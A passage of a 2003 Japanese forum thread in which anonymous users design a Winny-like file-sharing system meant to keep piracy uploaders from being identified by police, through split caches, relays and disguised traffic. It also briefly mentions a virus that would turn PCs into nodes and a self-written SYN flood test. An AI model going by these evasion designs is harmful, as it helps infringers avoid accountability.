ダウソ側に制限設けるとクラックする香具師が出てくるだろうけど、
UP側ならそんな事もないし。
他のブロックをどうするかって事になると、別のダウソノードが見つかったら
再び転送開始、この際絶対別のブロックを転送するようにする。
ある程度進んでいけばブロックを保持してるノード同士で補完し合える。

653 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 20:08 ID:RuonkITM
>>645
もしよければ、図か何かにまとめてもらえると幸い。
皆も理解しやすいと思われます。。。

654 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 20:09 ID:ixLxXQ0/
テーマ : 次世代のファイル共有ツールの仕様を考えるだけ

だろ。

655 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 20:09 ID:+wmOfsqH
freenetを2chねらー向きに改良すればいいんじゃない?

656 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 20:10 ID:UBs0PDO/
>>645
他のノードからデータが送られてこないように変更する。
つまり、ブロック転送のコネクションは特定IPのノードにしか開かない。
あくまでブロックの転送を受け付けるのは、ターゲットのノードだけ。
こうすれば、同一のノードから全てのブロックをダウンロードできる。


657 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 20:11 ID:p4bwKDqh
>同一ノードからファイル全体をダウソを防ぐ。
分散・分割するなどについて語りましょう。

だからこれではどちらにせよ匿名性は確保できないって。
ダウンロードされた物がどういう経路から来たか立証できれば
逮捕の要件になるんだから。
分割キャッシュ持ってるだけで違法なんだよ。

658 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 20:11 ID:Ji3eZPM1
>>652の意見に賛成。

659 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 20:12 ID:6dd/xEp6
>>657
いや妄想で断言されても・・・
経路を立証?
分割キャッシュの保持で逮捕?

仕様のスレなんだけど

660 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 20:13 ID:QoxVRiwF
>>ixLxXQ0/
過去ログまだdat落ちしてないんでよろしくね!


661 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 20:13 ID:p4bwKDqh
分割キャッシュ持ってるだけで違法なんだよ。

分割ダウンロードさせるだけで違法なんだよ。


662 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 20:13 ID:xwaGcwlR
>>652
>分割情報ってのはブロック化されたファイルのハッシュが格納されてるファイルって事?
そうです。

>>653
もう少し待ってくだされ。

>>656
そのような振る舞いをするピアをアップ側で自動的に弾くことは可能だと思います。

同じIPには同じファイルのブロックは(一定期間)送らないのはいいんですが、
ログが膨大になるかも知れんです。
何かアイデアあったらきぼん。

663 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 20:14 ID:RuonkITM
>>652

>>同一ノードからのファイル全体ダウソを防ぐやり方
>UP側が強制的に接続切っちゃえば良くない? 〜〜〜
良いと思う。

あとコレまで出た案で、
「一定以上の参照カウントで、保持しているキャッシュ(ブロック)を削除」
というやりかたも、定点観測への対策になると思う


664 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 20:15 ID:p4bwKDqh
また違ったかw

分割ダウンロードさせるだけで違法なんだよ。

分割キャッシュをダウンロードさせるだけで違法なんだよ。


665 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 20:15 ID:6dd/xEp6
>> ID:p4bwKDqh

いや、もう帰っていいから・・・

666 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 20:16 ID:xwaGcwlR
>>664
おとなしくP2Pを止めた方が賢明かと。

667 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 20:16 ID:e8MIGzc8
>>664
素晴らしいスレを見つけますた。
ttp://tmp2.2ch.net/test/read.cgi/download/1070084504/

668 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 20:16 ID:UBs0PDO/
>>662
ダウンロードする側は別に同じIPである必要はない。
複数の異なるIPでターゲットノードにダウン要求を出してもかまわない。

あくまで、ターゲットのIPノードから全てのブロックをダウンロードできたことを証明でき、
かつデコードしたファイルが違法であれば逮捕される。



669 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 20:17 ID:GuxrSiXR
一つ言う。
 一般的に公開されてる、回線・ISPを使う以上、
 いくら偽装・暗号化しようとリスクは伴うわけですよ。

 回線レベルだとNTTだし
 ISPから見れば、転送量や接続先を把握されるわけだ。

 パケット偽装に関して、いかにわかりにくくするかである。

 そのわかりにくくするということに
 
  同一ノードから完全にダウソしないようにする。
  ということがあるわけですね。
 
 やっぱ、ツリー掲示板を使って内容を整理する必要があるか 否か。


670 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 20:19 ID:p4bwKDqh
TCP/IP使う以上は今更作っても無駄だって。
どうせ逮捕されて職失うだけだって。

671 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 20:20 ID:6dd/xEp6
NG word : p4bwKDqh

672 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 20:20 ID:RuonkITM
>>669
NTTやISPというよりも、K察PCの定点観測が恐ろしいワケだと思うんですけど了解。

掲示板、どうしますかね。。。
むしろ雑音対策に、そろそろ移った方が良いかな?
カキコ数が少なければスッキリすると思われ。
どうなんでしょう

673 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 20:20 ID:GuxrSiXR
>>670
そんなこと今更言わなくてわかってるからさー。
 (・∀・)発展させる気ないなら
  ttp://www.yahoo.co.jp/ にでもいってください。

674 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 20:21 ID:qee1GVMD
物理層から作れ

675 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 20:21 ID:/SMdQfPt
>>672
そうですね。

676 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 20:21 ID:xwaGcwlR
>>668
なるほど。実際にされそうなことですね。
ということは、完全キャッシュは持たないように設計するしかないですね。
最初の放流者も、一定期間経過すれば完全キャッシュの一部を削除すると。

677 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 20:22 ID:ixLxXQ0/
>>668
何回ループしてんだよ。ざんざん外出だろ


678 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 20:22 ID:GuxrSiXR
これから どっかでツリー掲示板を設置してきますので
 お待ちください〜〜

679 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 20:23 ID:e8MIGzc8
>>669
偽装だの暗号化にはあまり拘らない方がいい。
危険度の高い(と思われる)うp職人、完全キャッシュ保持ノードをどう隠蔽して
単なる中継ノードと区別が付かないようにするかの方が重要だと思う。
そのための分割転送だし。

680 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 20:24 ID:oa1eMOE5
>同一ノードから完全にダウソしないようにする。


思うんだけど
完全キャッシュになったら、その完全キャッシュをキャッシュフォルダから自動的に移動。
その後、変換。
その後再び、キャッシュファイルをランダムで99%キャッシュフォルダに戻す。
そういう機能をny2に追加するだけで
回避できそう。
これって不可能かな?

681 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 20:24 ID:p4bwKDqh
>あくまで、ターゲットのIPノードから全てのブロックをダウンロードできたことを証明でき、
かつデコードしたファイルが違法であれば逮捕される。

この発言から

>完全キャッシュは持たないように設計するしかないですね。
最初の放流者も、一定期間経過すれば完全キャッシュの一部を削除すると。


なんでこんな発言が出てくるんだろうな。
馬鹿は死んでも直らないな。


682 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 20:25 ID:ixLxXQ0/
>>679
わかったからとりあえず作ってくれ分割転送するやつ。

683 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 20:26 ID:RuonkITM
>>681
むーん、そんなに叩くほどでもないかと。。。
キャッシュを減らしていく方向っていうのは確かに合ってるワケで。

ていうかあげないで。

684 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 20:26 ID:TPRgzSZs
いつの間にか、分割された一部なら公衆送信しても問題ないとなってるようだが
確証あんの?

685 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 20:27 ID:ixLxXQ0/
>>684
ないだろ。全然。


686 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 20:27 ID:RuonkITM
>>684
ないです。

しかしファイル分割して責任分散化、ってのが流れとしてあるんです

687 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 20:28 ID:Ji3eZPM1
>>684
ないよ。リスクと責任の分散。ログ読んでくれ。

688 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 20:28 ID:TPRgzSZs
じゃあ奇跡的に完成しても同じだな。歴史は繰り返される。

689 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 20:28 ID:xwaGcwlR
>>681
最初の放流者がどのピアにデータをアップするかっていうのは、
改造されてないソフトが行うわけで、
その放流者を狙って改造されたソフトと繋がっていたとしても、
そこにデータが全てアップされることは、ほぼ有り得ないと思います。

690 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 20:29 ID:ixLxXQ0/
要するに赤信号を大勢で渡ろうということだな

691 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 20:29 ID:RuonkITM
>>688 まあそうかもね。
すくなくともノード数が少ないうちは、
大量の共有は危険かもしれない。(それこそポエムでも共有するとか・・・

692 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 20:30 ID:e8MIGzc8
ttp://headlines.yahoo.co.jp/hl?a=20031129-00000091-myc-sci

693 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 20:30 ID:j1i0PPzY
>>687
過去ログでも結論でてないよ。

694 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 20:31 ID:WjFswx8r
ID-NIKSのようにセンターを配置するような感じにしちゃうとまずいわけ?
暗号

695 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 20:31 ID:GuxrSiXR
ttp://principle.jp/bbs1/cbbs.cgi?id=ppp

ツリー掲示板を設置しました。
 この続きは、ツリーのほうでやってノイズを排除するようにしましょう。



696 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 20:32 ID:QoxVRiwF
さてここで・・・

過 去 ロ グ 読 ま な い 奴 は 書 込 み す る な

697 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 20:32 ID:EF77BNOV
とりあえず疑問点。
分割情報のUpが違法とされないか?
あと捏造対策は?
(ファイルは本物なんだけど一部のブロックをわざと流通させないようにするとか)

698 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 20:33 ID:Ji3eZPM1
>>688
確かにそうだな。

そこでちょっとアイデアがあるのだが。
「厨対策」とか言ってた連中が似たような事を言っていたが、
ソフトの設定の仕方によって匿名性が多少変化するシステムにしたらどうだろう。
(ちゃんと設定しないと完全キャッシュをいつまでも持っている、とか)
そうすると警察が逮捕するにしても、ちゃんと設定してないノードに可能性が集中し、
ちゃんと設定しているノードは相対的に安全になる。

人柱作戦w

699 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 20:33 ID:TPRgzSZs
>>690
なるほど。通行者があまりに沢山居るので車は止まってくれるが、待たせすぎて
キレられたら運の悪い何人かが纏めてあぼーん、というわけかw


700 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 20:33 ID:RuonkITM
>>695
うはwIP記録・・・
漏れPCで自www鯖建ててるからプロクシ経由だけどスマソ。(サイトバレ勘弁

701 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 20:33 ID:UBs0PDO/
同一ノードから完全にダウンしないようにするには、

・全てのブロックをアップロードすることは絶対にしない。

例えばファイルを前半後半に分割して、俺は前半のみアップするノード
俺は後半のみアップするノードと最初から決め、絶対にもう一方はアップしない。

・最初に全てをアップロードするときは、必ず中継を挟む。

ダウンロードはグレーゾーンということを利用すれば実現できる。
つまり誰がダウンロード要求をしたかという情報は特定できても問題ない。

つまり、最初にダウンロードクエリを出すと、
受け取ったノードはさらに中継用に自分のIPを追加してクエリを流す。
完全キャッシュをアップする側は中継IPが追加されているクエリのみ受け付けるようにする。


702 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 20:33 ID:Pv9/7fNE
ttp://www.soi.wide.ad.jp/iw98/iw98_tut/slides/09/109.html
> TCP SYN Flood 攻撃
> TCP の SYN の中途半端な connection を沢山つくられて queue を溢れさせる
> 外部からの接続ができなくなる

2chの鯖が前に食らってたな…

夜勤さんの発言によると、あの攻撃を受けた時はCPUの負荷はほとんど問題になっていなかったらしい。

703 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 20:35 ID:RuonkITM
>人柱作戦
かなりアリだと思います!
実装時にまた検討しませんか!?

704 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 20:35 ID:pPYBNFva
>>698
そして、選択した匿名レベルに応じた設定をするツールを作ればいいのですね?

705 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 20:35 ID:WjFswx8r
>>702
これでも俺プログラム書いて試してみたけど
自分も結構重くなるよなぁ…

706 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 20:36 ID:e8MIGzc8
>>694
ファイル暗号化部分はそれほど強力でなくてもいいし、鍵は全員共通でいいと思う。
経路上の盗聴を阻止するんじゃなくて全ブロックを集めて完全キャッシュにしないと
復元不可能にすればいいだけだから。

707 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 20:36 ID:xwaGcwlR
UBs0PDO/氏に感謝。
完全キャッシュを持っていても問題ないのでは? という疑問が完全否定されました。

708 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 20:37 ID:pPYBNFva
>>707
んなわけない。穴だらけ。

709 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 20:38 ID:GuxrSiXR
ttp://principle.jp/bbs1/cbbs.cgi?id=ppp

プロクシ制限 外しました。

ご利用ください。ログも取得していないので。

710 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 20:38 ID:cZt7mbIJ
国内鯖・レンタル掲示板はやめれ。

711 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 20:39 ID:M7ChkXpF
>>709信じていいのかw
まぁいいや、ままよ!

712 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 20:39 ID:DB56ujNb
>>684
結局結論は出ていないと思う。
裁判で確立された事例がまだ無いと思うので…

国会図書館では「著作の半分以上は一度にコピーできない」という但書きがある。
著作権法に明記されていることで、おおよそどこの図書館にもコピー機の前に貼り紙があるほど有名な内容だ。
個人の教養的学術的研究のために許された限界といえるが、
もちろんこれを公衆送信権と同列に語ることは出来ない。
一方nyは、例えるなら、映画を無断上映していている場合、上映途中でも摘発されるのか否かが分割キャッシュの問題に関係するのでは。
圧縮ファイルはこの限りじゃないと思うんだけど…
長文スマソ。

713 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 20:40 ID:M7ChkXpF
>>712
亀レスだなんて。
しかも既に解決してるレスに重複レスだなんて。
しかもageだなんて。

帰って。


714 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 20:44 ID:OSjyZqJz






715 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 20:45 ID:xwaGcwlR
>>708
オープンソースで匿名性の高いファイル共有ソフトを作るのは無理と?

716 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 20:45 ID:fM6aenfy
キャッシュ分割と串しか知恵のない香愚氏の作ったものでは
広まらないよ。
パスつきの割れ鯖でダウソしたほうがよっぽど安全だ。

717 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 20:46 ID:TPRgzSZs
>一方nyは、例えるなら、映画を無断上映していている場合、上映途中でも摘発されるのか否かが分割キャッシュの問
たとえが適切なのかわからんが、許可が必要な上映を許可無しでやってる時点で違法じゃないのかな。

718 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 20:46 ID:vVZx41Vd
実際、P2Pのトラヒックは大小あれ違法なものを
運んでるだろうし、使ってることを気取られて
Kに目をつけられればいかんともしがたいでしょ。
だからトラヒックそのものを偽装しないと
ダメなんじゃないの。たとえば、傍から見たら
テレビ会議をやってるようにみえるとか。


719 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 20:47 ID:M7ChkXpF
>>715
極めて難しいというのが皆の認識だと思う。

K察にすらソースコードが筒抜けで、
挙動がバレバレ。
そこでなんらかの穴が発見されるかもしれない。
設計のバグはソースのバグを探すよりも難しい。


720 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 20:47 ID:pPYBNFva
>>715
無理だから47氏はかたくなにソースの公開を拒否したんですよ。

721 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 20:48 ID:M7ChkXpF
>>716
より良いアイデアを希望しますわ。(マジな話。。。

722 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 20:48 ID:6dd/xEp6
 263 名前:47 投稿日:02/04/04 14:43 ID:hr5Nfj19
 開き直って職場から書き込み(w
 そろそろ4台以上PC無いと辛いんで職場でこっそりテストするかぁ?
 
 あと、ファイルを断片化して分散保持するのはメリット(機密性・対障害性、匿名性)より
 デメリット(データロスト率が高そうだし遅そう)の方が大きそうなので却下か。

 ttp://tmp.2ch.net/download/kako/1017/10175/1017590243.html

この時、歴史は動いた・・・ある方向に

723 名前:元スレ1 ◆bPSpbl.Bgs 投稿日:03/11/29 20:48 ID:cZt7mbIJ
さてと…、次スレのテンプレでも作るかな。

/* この時間帯はダメだな。 */

724 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 20:49 ID:JWqPfwJZ
>>720
公開するソースのプロトコル部分と暗号化部分を差し替えておくってのはどうよ。

725 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 20:50 ID:PNmKvE3d
ところで初歩的な問題ですまんがfreenetとwinnyの違いは?

726 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 20:50 ID:ixLxXQ0/
>>723
次期p2pを作れるスキルはある?

727 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 20:50 ID:M7ChkXpF
>>718
かなり良いようにも思えるけど、
結局K察が、そのテレビ会議を割れのソフトに復号するキーを入手したら言い訳ができない。

728 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 20:50 ID:QoxVRiwF
>>723
テンプレだったら協力できます・・・スマソ。

729 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 20:50 ID:ixLxXQ0/
>>725
やすしときよしの違いと等しい

730 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 20:52 ID:fM6aenfy
47氏は会社首になったのかな?

731 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 20:52 ID:uniYb8YA
>>684
確証あんの? → 確+証+あ+ん+の+? 
と別々の文字にすれば、文章として成立しなくなるように、

分割の仕方次第では公衆送信しても問題なくなると思う。

素人なので何ともいえないが、
コンピュータで扱うデータは、0と1の組み合わせなので、やり方次第では?

732 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 20:52 ID:xwaGcwlR
>>720
いや、そういうわけではないでしょう。
元々の設計がオープンソースに適していなかっただけでは?

733 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 20:54 ID:M7ChkXpF
法的スレで出てたのは

28 名前: [名無し]さん(bin+cue).rar [sage] 投稿日: 03/11/29 15:01 ID:fhudp7TD
ネットにつないでるパソコンをノード化してしまう
ウイルスをばら撒けばいい


コレ最強なんだけど、いくらなんでもヒド過ぎるんだよな。。。
都合のいいセキュリティホールもなし。

734 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 20:54 ID:vVZx41Vd
>>727
復号手段を持っててもどれを復号すればいいか
判断できないようにできないかなという発送なんだけど。
ようするに、いぱーん人のトラヒックに紛れ込む。
トラヒック偽装と転送レートの制限を行えば
使い勝手は悪くなるだろうが、安全性はかなり
上がると思うんだけどね。


735 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 20:54 ID:GuxrSiXR
俺は、専門学生でデジタル社会における法律についての授業を受けてるので
 ちと質問程度に、分割されたものを送信したらどうなのか聞いてみるわ。



736 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 20:55 ID:e8MIGzc8
>>733
ノートン先生に削除されちゃうのは悲しい。

737 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 20:55 ID:Zaz1p5tC
厨と言ってるやつほど厨臭い

738 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 20:55 ID:fM6aenfy
>>733
帰っていいよ

739 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 20:55 ID:M7ChkXpF
>>731
だからそれらを結合するノードがK察だったら言い逃れができないんだってば。
責任分散しかできないの。
素人は帰(ry

740 名前:  投稿日:03/11/29 20:56 ID:e3PYuSel
まぁリスクは多少なりとも負うかもしれんけど、
winny並みに便利で安全なものができたら、対価として金払ってもいいくらい
価値あるソフトだからなぁ

年間3000円くらいなら払うよ。開発、頼むよ!>未来の47氏

741 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 20:57 ID:/SMdQfPt
頼む。
ツーリー掲示板は、海外鯖使ってくれ。
恐くて書き込めん。

742 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 20:57 ID:LFoYQrRu
ジャストシステムのNET DISKて結局ヤフブリやiDRIVEと同じなわけで
結局それだとBittorrentやed2kやeMuleを使えという事になるな

743 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 20:57 ID:ixLxXQ0/
分割したってクロだろう。要するにパクられにくくするようにしてるわけだろ?
分割や暗号化する動機や意図が問われる。どこまでしらばっくれるかだな。

744 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 20:57 ID:LFoYQrRu
>>741
何で怖いの?

745 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 20:57 ID:M7ChkXpF
>>734
ダウソ板住人が復号化できるってことは、K察も復号化できるということ
これが原点。

K察の囮捜査にはどうしてもかなわないんよ。
責任を分散しないと。。。

746 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 20:57 ID:e8MIGzc8
>>739
確のみを送ってきたノード
証のみを送ってきたノード
あのみを送ってきたノード
んのみを送ってきたノード
ののみを送ってきたノード
?のみを送ってきたノード
それぞれに罪を問えるかどうかはスレ違い。

747 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 20:58 ID:6dd/xEp6
デジタルデータを最小単位まで分割すると

0 or 1

偉い人にはこれが分からんのです。

748 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 20:58 ID:M7ChkXpF
>>746 確かに。スマソ。コトバには気をつけないとな。。。

749 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 20:59 ID:fM6aenfy
>>747
ついでに君も帰っていいよ

750 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 21:00 ID:LFoYQrRu
>>747
2進数にしたら全て(ry

751 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 21:02 ID:xwaGcwlR
>>701
オープンソースだと、中継するピアが改造されるのを前提にする必要があるね。
前スレで出てた、リングを組んで、自分で送ったデータが帰ってくるようにしないと無理かな。

752 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 21:02 ID:PNmKvE3d
打倒freenet!
次期P2Pはワールドワイドにやろうぜ!!
例え逮捕者出ても20万分の一から1億分の1にしてしまえばいい。

753 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 21:03 ID:UBs0PDO/
オープンソースで匿名性の高いファイル共有ソフトを作るには

・コアの公開部分と、認証に使用する非公開部分にわける。

クローズドにすれば匿名性が高まるのではなく、
クラックが難しくなるだけで本質的な解決にはならない。
また作者が止めるなどで一度バージョンアップが停止すればクラック版が出回る可能性が高くなる。

非公開の認証コードによる認証プロセスは以下のようになる。

1、最初にノードと接続するさいに、相手ノードに認証コードを送る。
2、相手ノードは認証コードを動的リンクして実行する。
3、認証コードは自分のIPと実行ファイルのハッシュを元にキーを計算し返す。
4、自分のノードで認証コードを使って計算したキーと、相手から送られてきたキーが一致すればセッションを確立する。

認証コードは、ネットワーク管理者が秘密鍵で暗号化し送信する。
またネットワーク管理者は頻繁に認証コードのアルゴリズムを少しづつ変えて流すことで、
クラックを困難にし、またクラックされたコードの有効期間を短縮する。
ユーザーは信頼するネットワーク管理者の公開鍵を設定し受け入れる。


754 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 21:03 ID:GuxrSiXR
 分割して暗号化したものを公衆に送信しても違反なのかということについて

現在、ネット上の法律に詳しい人に
 真相を確かめ中ですので いましばらくお待ちください。
 気長にお待ち頂ければ、結果を報告致します。
---------------------------------------------------------------------

755 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 21:03 ID:j1i0PPzY
>>751
リングに1票

756 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 21:05 ID:M7ChkXpF
>>754 サンクス
結果は以下のスレが兄弟スレってことになってるので、
こちらに書き込んでチョ。
ttp://tmp2.2ch.net/test/read.cgi/download/1070084504/

>>753
後半がイミフ

757 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 21:06 ID:GuxrSiXR
コンピュータの中では、0と1の組み合わせでいろんなことやってるのです。

 32ビットCPUっていうのは、
 00001111000011110000111100001111
 のように32桁の2進数を一度に取り扱うことができるわけです。

 >>747の意見から分析すると、

 結合情報ビット・データビットに分けないといけません。

 全般の8ビットを結合情報・後半の24ビットをデータビットにすると
 いうことでしょうか。

 何もそこまで分割してしまうことはできないと思いますけど。

758 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 21:07 ID:M7ChkXpF
>>755
リングだと、
流れるトークンが途中で書き換えられてしまうことも考慮しなきゃならない。

まぁリングで流す中身が決まってないうちから言うのもなんだけど、
経由したノードのカウントとかだと思いっきり偽証される可能性大。
というかそもそも、どうやってリングを組むのか。。

759 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 21:08 ID:e8MIGzc8
>>754
分割しようが暗号化しようが完全ファイルを持ってるノードが全部送信すれば公衆送信権の侵害になるのは間違いない。
分割されて更に暗号化されてるキャッシュを中継しただけでも罪に問われるのかが問題。
問われないなら中継ノードに紛れ込ませてうやむやに出来ないかなって思う。

760 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 21:09 ID:M7ChkXpF
>>757
結局、0,1に分けるとか言ってるヤシも、
実質的に、暗号化について言ってるに過ぎないと思われ。

761 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 21:09 ID:pPYBNFva
> また作者が止めるなどで一度バージョンアップが停止すればクラック版が出回る可能性が高くなる。
バージョンアップ停止しなくてもクラック版出るけどな。
昔のバージョンがつかえる限りクラック版を使うだけさ。

762 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 21:10 ID:M7ChkXpF
まぁクラック版はオープンソースの方が頻出するワケだけど…

763 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 21:10 ID:UBs0PDO/
>>756
送られてきた認証コード全てを実行しては、例えばウイルスに感染したりと危険すぎる。
だから、あくまで信頼するネットワーク管理者が作成したコードしか受け付けないようにする。

ネットワーク管理者には誰でもなれるし、誰でも認証コードを書ける。
ただし、ユーザーが設定したネットワーク管理者以外のコードは実行させないようにする。
このために非対称暗号鍵を使用する。

認証コードは、動的リンクの簡易と安全性からいって、
Javaのバイトコードもしくは.NET ILで書かれることが望ましい。



764 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 21:10 ID:JWqPfwJZ
厨対策

・偽装を掛けた状態で配布
・デフォ状態でのLangは中国語。iniファイルとレジストリを弄って始めて日本語になる。

・・・少ない

765 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 21:11 ID:QoxVRiwF
高校の授業かよ・・・いくらなんでもレベルh(ry

766 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 21:11 ID:LFoYQrRu
僅かなパケットだけ通すようにして
速度は我慢して安全性を重視した設計の方が良いだろう
嫌なら使うなって事さ

767 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 21:12 ID:pPYBNFva
>>764
解除・日本語化ツールを作ります。
もしくは設定済みのものを配布します。

768 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 21:12 ID:M7ChkXpF
オープンソースにするならクラックしにくい、穴のない設計が必要。
クローズドだと、今までの ( ny とか含めた) アイデアがそのまま使えそう。

この違いは大きい。
オープンソースにするっていうだけでかなりの負担だな。。。


769 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 21:12 ID:QoxVRiwF
>>756は0,1うんぬんについてね

770 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 21:13 ID:GuxrSiXR
>>767
設定済みなものを配布しても無意味なようにする

771 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 21:13 ID:LFoYQrRu
Skypeみたいに本体を暗号化してしまう
起動時にメモリー上にデコードする

アセンブラで組むか・・・

772 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 21:13 ID:QoxVRiwF
スマソ。>>765でした。
逝ってきます・・・

773 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 21:14 ID:M7ChkXpF
さて、またピント外れなレスを一つ一つ爆撃していかなきゃですよおまいら。

774 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 21:14 ID:IIPHfuyB
お前らがグタグタ言っているうちに、俺のほうはデータベース部分が完成しそうですよ!

775 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 21:14 ID:pPYBNFva
>>770
無理だけどがんばってね。

776 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 21:14 ID:LFoYQrRu
>>772
イテラー

777 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 21:14 ID:pJzaQHjj
少数派のバージョンは淘汰されるシステムって出来ないのかな
新バージョン流しておいて一緒に更新日時を指定
Tips作るならそこで知らせるとかでも良いけど

778 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 21:15 ID:LFoYQrRu
大体日本語が使えないと駄目とか言ってる時点で的外れなんだけど

779 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 21:15 ID:j1i0PPzY
>>763
ネットワーク管理者の公開鍵の安全な配布方法を考える必要がありそうだね。

